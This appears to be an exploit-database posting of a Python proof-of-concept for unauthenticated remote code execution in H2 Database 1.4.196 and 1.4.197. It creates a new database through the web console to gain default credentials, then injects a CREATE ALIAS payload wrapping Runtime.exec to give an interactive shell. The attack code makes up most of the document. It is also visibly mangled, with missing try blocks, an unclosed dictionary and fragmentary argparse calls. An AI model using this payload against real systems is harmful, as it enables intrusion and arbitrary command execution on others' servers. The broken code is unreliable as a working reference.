H2 Database 1.4.196 Remote Code Execution

H2 Database version 1.4.196 suffers from a remote code execution vulnerability.

MD5 | 99ca89e7af7c46dcb0aed091b61be0b9

# Exploit Title: H2 Database 1.4.196 - Remote Code Execution
# Google Dork: N/A
# Date: 2018-09-24
# Exploit Author: h4ckNinja
# Vendor Homepage: https://www.h2database.com/
# Software Link: http://www.h2database.com/h2-2018-03-18.zip
# Version: 1.4.196 and 1.4.197
# Tested on: macOS/Linux
# CVE: N/A

# This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/).
# When the test database has a password that is unknown, it is still possible to get the execution
# by creating a new database. The web console allows this by entering the name of the new database
# in the connection string. When the new database is created, the default credentials of
# username asaa and password aa (blank) are created. The attacker is logged in automatically.
# The attached Python code, modified from 44422, demonstrates this.

#!/usr/bin/env python

Exploit Title: Unauthenticated RCE
Date: 2018/09/24
Exploit Author: h4ckNinja
Vendor: http://www.h2database.com/
Version: all versions
Tested on: Linux, Mac
Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one.
Modified from: https://www.exploit-db.com/exploits/44422/

import random
import string
import sys
import argparse
import html
import requests

def getSession(host):
url = 'http://{}'.format(host)
r = requests.get(url)
path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do')

return '{}/{}'.format(url, path)

def login(url, database):
data = {
'language': 'en',
'setting': 'Generic H2 (Embedded)',
'name': 'Generic H2 (Embedded)',
'driver': 'org.h2.Driver',
'url': database,
'user': 'sa',
'password': ''

print('[*] Attempting to create database')
r = requests.post(url, data=data)

if '<th class="login">Login</th>' in r.text:
return False

print('[+] Created database and logged in')

return True

def prepare(url):
cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;'''
url = url.replace('login', 'query')

print('[*] Sending stage 1')

r = requests.post(url, data={'sql': cmd})

if not 'NullPointerException' in r.text:
print('[+] Shell succeeded - ^c or quit to exit')
return url

return False

def execve(url, cmd):
r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})

execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore')

except Exception as e:
print('[-] Invalid command (' + str(e) + ')')

if __name__ == "__main__":
parser = argparse.ArgumentParser()
randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5))

help='Specify a host',

metavar='jdbc:h2:~/emptydb-' + randString,
default='jdbc:h2:~/emptydb-' + randString,
help='Database URL',

args = parser.parse_args()

url = getSession(args.host)

if login(url, args.database):
success = prepare(url)

if success:
while True:
cmd = input('h2-shell$ ')

if 'quit' not in cmd:
execve(success, cmd)

print('[+] Shutting down')

except KeyboardInterrupt:
print('[+] Shutting down')

print('[-] Something went wrong injecting the payload.')

print('[-] Unable to login')

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